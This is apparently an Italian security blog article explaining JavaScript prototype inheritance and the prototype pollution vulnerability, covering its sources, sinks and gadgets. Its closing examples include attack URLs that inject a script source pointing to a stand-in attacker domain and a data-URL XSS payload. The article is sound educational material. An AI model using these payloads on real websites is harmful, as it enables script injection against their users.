La Prototype Pollution

Tra le innumerevoli vulnerabilità che affliggono i siti web, ve ne sono alcune che si manifestano di rado, tuttavia, non sono da sottovalutare, poiché possono arrecare danni incalcolabili agli applicativi. Una di queste è sicuramente la Prototype Pollution.

Prima di addentrarci nella trattazione della vulnerabilità vera e propria, è necessario comprendere alcuni concetti di JavaScript.

JavaScript utilizza un modello di ereditarietà prototipale diverso dal modello basato sulle classi adoperato dagli altri linguaggi.

Che cos’è un oggetto in JavaScript?

Un oggetto JavaScript è essenzialmente un insieme di coppie chiave:valore, note come “proprietà”. Ad esempio, il seguente oggetto potrebbe rappresentare un utente:

const user = {
   username: "mario_rossi",
   userId: 123456789,
   isAdmin: false
}

È possibile accedere alle proprietà di un oggetto utilizzando i punti oppure le parentesi quadre, per fare riferimento alle rispettive chiavi:

user.username     // "mario_rossi"
user['userId']   // 123456789

Oltre ai dati, le proprietà possono contenere anche funzioni eseguibili. In questo caso, la funzione è nota come “metodo”.

const user = {
   username: "mario_rossi",
   userId: 123456789,
   exampleMethod: function(){
      // do something
   }
}

L’esempio precedente è un “letterale di oggetto”, il che significa che è stato creato usando la sintassi delle parentesi graffe per dichiarare esplicitamente le sue proprietà e i loro valori iniziali. Tuttavia, è importante capire che quasi tutto in JavaScript è un oggetto. In questo elaborato, il termine “oggetto” si riferisce a tutte le entità, non solo agli oggetti letterali.

Che cos’è un prototype in JavaScript?

Ogni oggetto in JavaScript è collegato a un altro oggetto di qualche tipo, noto come prototype. Per impostazione predefinita, JavaScript assegna automaticamente ai nuovi oggetti uno dei suoi prototype incorporati.

Ad esempio, alle stringhe viene automaticamente assegnato il prototipo incorporato String.prototype. Di seguito sono riportati alcuni esempi di questi prototype globali:

let myObject = {};
Object.getPrototypeOf(myObject);   // Object.prototype
let myString = "";
Object.getPrototypeOf(myString);   // String.prototype
let myArray = [];
Object.getPrototypeOf(myArray);    // Array.prototype
let myNumber = 1;
Object.getPrototypeOf(myNumber);   // Number.prototype

Gli oggetti ereditano automaticamente tutte le proprietà del prototype assegnato, a meno che non abbiano già una proprietà propria con la stessa chiave. Ciò consente agli sviluppatori di creare nuovi oggetti che possono riutilizzare le proprietà e i metodi degli oggetti esistenti.

I prototype incorporati forniscono proprietà e metodi utili per lavorare con i tipi di dati di base.

Ad esempio, l’oggetto String.prototype ha un metodo toLowerCase(). Di conseguenza, tutte le stringhe hanno automaticamente un metodo pronto all’uso per convertirle in minuscolo. Questo evita agli sviluppatori di dover aggiungere manualmente questo comportamento a ogni nuova stringa creata.

Come funziona l’ereditarietà degli oggetti in JavaScript?

Ogni volta che si fa riferimento a una proprietà di un oggetto, il motore JavaScript cerca innanzitutto di accedervi direttamente sull’oggetto stesso. Se l’oggetto non ha una proprietà corrispondente, il motore JavaScript la cerca invece nel prototype dell’oggetto. Dati i seguenti oggetti, ciò consente di fare riferimento a myObject.propertyA, ad esempio:

È possibile utilizzare la console del browser per osservare questo comportamento in azione. Per prima cosa, è necessario creare un oggetto completamente vuoto:

let myObject = {};

Quindi, si digiti myObject seguito da un punto. Si noti che la console chiede di selezionare da un elenco di proprietà e metodi:

Anche se non ci sono proprietà o metodi definiti per l’oggetto stesso, ne ha ereditati alcuni dal built-in Object.prototype.

Si noti che il prototype di un oggetto non è altro che un altro oggetto, che dovrebbe avere anch’esso il suo prototype, e così via. Dal momento che praticamente tutto in JavaScript è un oggetto, questa catena riporta al livello superiore Object.prototype, il cui prototype è semplicemente null.

È fondamentale che gli oggetti ereditino le proprietà non solo dal loro prototype immediato, ma anche da tutti gli oggetti che li precedono nella catena dei prototype. Nell’esempio precedente, ciò significa che l’oggetto nomeutente ha accesso alle proprietà e ai metodi di String.prototype e Object.prototype.

Accedere al prototype di un oggetto usando __proto__

Ogni oggetto ha una proprietà speciale che può essere usata per accedere al suo prototype. Sebbene non abbia un nome formalmente standardizzato, __proto__ è lo standard de facto utilizzato dalla maggior parte dei browser.

Nei linguaggi orientati agli oggetti, questa proprietà serve sia come getter che come setter per il prototype dell’oggetto. Ciò significa che si può usare per leggere il prototype e le sue proprietà e persino riassegnarle, se necessario.

Come per qualsiasi proprietà, è possibile accedere a __proto__ utilizzando le parentesi quadre o il punto:

username.__proto__
username['__proto__']

Si possono anche concatenare i riferimenti a __proto__ per risalire la catena dei prototype:

username.__proto__                       // String.prototype
username.__proto__.__proto__             // Object.prototype
username.__proto__.__proto__.__proto__   // null

Modificare i prototype

Sebbene sia generalmente considerata una bad practice, è possibile modificare i prototype incorporati di JavaScript come qualsiasi altro oggetto. Ciò significa che gli sviluppatori possono personalizzare o sovrascrivere il comportamento dei metodi incorporati e persino aggiungere nuovi metodi per eseguire operazioni utili.

Ad esempio, il moderno JavaScript offre il metodo trim() per le stringhe, che consente di rimuovere facilmente gli spazi bianchi iniziali o finali. Prima dell’introduzione di questo metodo integrato, gli sviluppatori a volte aggiungevano la loro implementazione personalizzata di questo comportamento all’oggetto String.prototype, facendo qualcosa di simile:

String.prototype.removeWhitespace = function(){
   // remove leading and trailing whitespace
}

Grazie all’ereditarietà prototipale, tutte le stringhe avranno accesso a questo metodo:

let searchTerm = " example ";
searchTerm.removeWhitespace();   // "example"

Ora che abbiamo tutti gli strumenti necessari, possiamo studiare più accuratamente la vulnerabilità.

Che cos’è la prototype pollution?

La Prototype Pollution è una vulnerabilità di JavaScript che consente ad un utente malintenzionato di aggiungere proprietà arbitrarie ai prototype di oggetti globali, che possono essere ereditati da oggetti definiti dall’utente.

Spesso accade che la vulnerabilità essendo non sia sfruttabile perché è stand-alone, tuttavia consente a un aggressore di controllare proprietà di oggetti che altrimenti risulterebbero inaccessibili.

Se l’applicazione gestisce successivamente una proprietà controllata dall’aggressore in modo non sicuro, questa può essere potenzialmente concatenata con altre vulnerabilità. In JavaScript, lato client, questo porta comunemente a DOM XSS, mentre la prototype pollution lato server può persino portare all’esecuzione di codice remoto.

A questo punto sorge spontanea una domanda: Come nascono le vulnerabilità di prototype pollution?

Le vulnerabilità di prototype pollution si verificano tipicamente quando una funzione JavaScript fonde ricorsivamente un oggetto contenente proprietà controllabili dall’utente in un oggetto esistente, senza prima sanificare le chiavi.

Ciò può consentire a un aggressore di iniettare una proprietà con una chiave come __proto__, insieme a proprietà annidate arbitrarie.

A causa del significato speciale di __proto__ in un contesto JavaScript, l’operazione di unione può assegnare le proprietà annidate al prototipo dell’oggetto invece che all’oggetto di destinazione. Di conseguenza, l’aggressore può modificare il prototype con proprietà contenenti valori dannosi, che possono essere successivamente utilizzate dall’applicazione in modo pericoloso.

È possibile alterare qualsiasi prototype di oggetto, ma ciò avviene più comunemente con il built-in globale Object.prototype.

Per sfruttare con successo una prototype pollution sono necessarie le seguenti componenti chiave:

  • Una fonte di prototype pollution: si tratta di un input che consente di modificare gli oggetti prototipo con proprietà arbitrarie.
  • Un sink: in altre parole, una funzione JavaScript o un elemento DOM che consenta l’esecuzione di codice arbitrario.
  • Un gadget exploitabile: si tratta di qualsiasi proprietà che viene passata in un sink senza un filtro o una sanificazione adeguati.

Le fonti delle prototype pollution

Una fonte di prototype pollution è un qualsiasi input controllabile dall’utente che consente di aggiungere proprietà arbitrarie agli oggetti prototype. Le fonti più comuni sono le seguenti:

  • L’URL tramite la query o la stringa di frammento (hash).
  • Input basati su JSON
  • Messaggi web

Prototype pollution attraverso l’URL

Si consideri il seguente URL, che contiene una stringa di query costruita dall’attaccante:

https://vulnerable-website.com/?__proto__[evilProperty]=payload

Quando si scompone la stringa di query in coppie chiave:valore, un parser di URL può interpretare __proto__ come una stringa arbitraria. Ma vediamo cosa succede se queste chiavi e valori vengono successivamente uniti a un oggetto esistente come proprietà.

Si potrebbe pensare che la proprietà __proto__, insieme alla sua nidificata evilProperty, venga semplicemente aggiunta all’oggetto di destinazione, come segue:

{
   existingProperty1: 'foo',
   existingProperty2: 'bar',
   __proto__: {
      evilProperty: 'payload'
   }
}

Tuttavia, questo non è il caso. A un certo punto, l’operazione di fusione ricorsiva può assegnare il valore di evilProperty utilizzando un’istruzione equivalente alla seguente:

targetObject.__proto__.evilProperty = 'payload';

Durante questa assegnazione, il motore JavaScript tratta __proto__ come un getter per il prototype. Di conseguenza, evilProperty viene assegnato all’oggetto prototipo restituito, anziché all’oggetto di destinazione. Assumendo che l’oggetto di destinazione utilizzi il prototipo predefinito Object.prototype, tutti gli oggetti nel runtime JavaScript erediteranno evilProperty, a meno che non abbiano già una proprietà propria con una chiave corrispondente.

In pratica, è improbabile che l’iniezione di una proprietà chiamata evilProperty abbia un effetto. Tuttavia, un aggressore può utilizzare la stessa tecnica per alterare il prototype con proprietà utilizzate dall’applicazione o da librerie importate.

Prototype Pollution tramite input JSON

Gli oggetti controllabili dall’utente sono spesso derivati da una stringa JSON, utilizzando il metodo JSON.parse(). È interessante notare che JSON.parse() tratta anche qualsiasi chiave dell’oggetto JSON come una stringa arbitraria, compresi elementi come __proto__. Questo fornisce un altro potenziale vettore di prototype pollution.

Supponiamo che un aggressore inietti il seguente JSON dannoso, ad esempio, tramite un messaggio web:

{
   "__proto__": {
      "evilProperty": "payload"
   }
}

Se questo viene convertito in un oggetto JavaScript tramite il metodo JSON.parse(), l’oggetto risultante avrà una proprietà con la chiave __proto__:

const objectLiteral = {__proto__: {evilProperty: 'payload'}};
const objectFromJson = JSON.parse('{"__proto__": {"evilProperty": "payload"}}');
objectLiteral.hasOwnProperty('__proto__');     // false
objectFromJson.hasOwnProperty('__proto__');   // true

Se l’oggetto creato tramite JSON.parse() viene successivamente unito a un oggetto esistente senza un’adeguata sanificazione delle chiavi, questo porterà anche a una prototype pollution durante l’assegnazione, come abbiamo visto nell’esempio basato sull’URL.

I sink delle prototype pollution

Un sink di inquinamento dei prototipi è essenzialmente una funzione JavaScript o un elemento DOM a cui si può accedere tramite inquinamento dei prototipi, che consente di eseguire comandi JavaScript o di sistema arbitrari. Abbiamo trattato diffusamente alcuni sink lato client nel nostro argomento sul DOM XSS.

Poiché l’inquinamento dei prototipi consente di controllare proprietà che altrimenti sarebbero inaccessibili, questo permette potenzialmente di raggiungere una serie di sink aggiuntivi all’interno dell’applicazione di destinazione. Gli sviluppatori che non hanno familiarità con l’inquinamento dei prototipi possono pensare erroneamente che queste proprietà non siano controllabili dall’utente, il che significa che il filtraggio o la sanificazione potrebbero essere minimi.

I Gadget per la prototype pollution

Un gadget fornisce un mezzo per trasformare la vulnerabilità dell’inquinamento dei prototipi in un vero e proprio exploit. Si tratta di qualsiasi proprietà che:

Utilizzata dall’applicazione in modo non sicuro, ad esempio passandola a un sink senza un adeguato filtraggio o sanitizzazione.

Controllabile dall’attaccante tramite l’inquinamento del prototipo. In altre parole, l’oggetto deve essere in grado di ereditare una versione dannosa della proprietà aggiunta al prototipo da un attaccante.

Una proprietà non può essere un gadget se è definita direttamente sull’oggetto stesso. In questo caso, la versione della proprietà propria dell’oggetto ha la precedenza su qualsiasi versione dannosa che si possa aggiungere al prototipo. I siti web robusti possono anche impostare esplicitamente il prototipo dell’oggetto a null, per garantire che non erediti alcuna proprietà.

Esempio di un prototype pollution gadget

Molte librerie JavaScript accettano un oggetto che gli sviluppatori possono usare per impostare diverse opzioni di configurazione. Il codice della libreria controlla se lo sviluppatore ha aggiunto esplicitamente alcune proprietà a questo oggetto e, in caso affermativo, regola la configurazione di conseguenza. Se una proprietà che rappresenta una particolare opzione non è presente, spesso viene utilizzata un’opzione predefinita. Un esempio semplificato può essere simile a questo:

let transport_url = config.transport_url || defaults.transport_url;

Ora immaginiamo che il codice della libreria utilizzi questo transport_url per aggiungere un riferimento di script alla pagina:

let script = document.createElement('script');
script.src = `${transport_url}/example.js`;
document.body.appendChild(script);

Se gli sviluppatori del sito web non hanno impostato una proprietà transport_url sul loro oggetto config, si tratta di un potenziale gadget. Nel caso in cui un aggressore sia in grado di alterare l’Object.prototype globale con la propria proprietà transport_url, questa verrà ereditata dall’oggetto config e, quindi, impostata come src per questo script in un dominio a scelta dell’aggressore.

Se il prototype può essere inquinato tramite un parametro di query, ad esempio, l’aggressore dovrà semplicemente indurre la vittima a visitare un URL appositamente creato per far sì che il suo browser importi un file JavaScript dannoso da un dominio controllato dall’aggressore:

https://vulnerable-website.com/?__proto__[transport_url]=//evil-user.net

Fornendo un dato: un aggressore potrebbe anche incorporare direttamente un payload XSS nella stringa di query come segue:

https://vulnerablewebsite.com/?__proto__[transport_url]=data:,alert(1);

Reference:

https://payatu.com/blog/prototype-pollution/
https://www.acunetix.com/vulnerabilities/web/prototype-pollution/
https://portswigger.net/web-security/prototype-pollution
https://learn.snyk.io/lessons/prototype-pollution/javascript/
https://brightsec.com/blog/prototype-pollution/

Articolo a cura di Damiano Capo

Profilo Autore

La passione per la cyber security è nata tra i banchi dell’Università, durante le lezioni di geometria e algebra lineare ho avuto modo di apprendere nozioni di crittografia e vederle applicate al mondo dell’informatica.
Ciò ha suscitato in me il desiderio di conoscere e apprendere, così da autodidatta ho deciso di approfondire la materia e iniziare a studiare il modo cui avvenivano gli attacchi, le tecniche e gli strumenti utilizzati.
Questa passione è diventata un vero e proprio lavoro dal 2019, durante il percorso lavorativo ho avuto la possibilità e l’onore di poter lavorare come consulente esterno per aziende come: Banca d’Italia, FCA Auto&Bank e Aruba.
Al momento svolgo la professione di penetration tester presso l’azienda Yoroi, nella quale mi occupo di eseguire penetration test su applicazioni web.

Condividi sui Social Network:

Articoli simili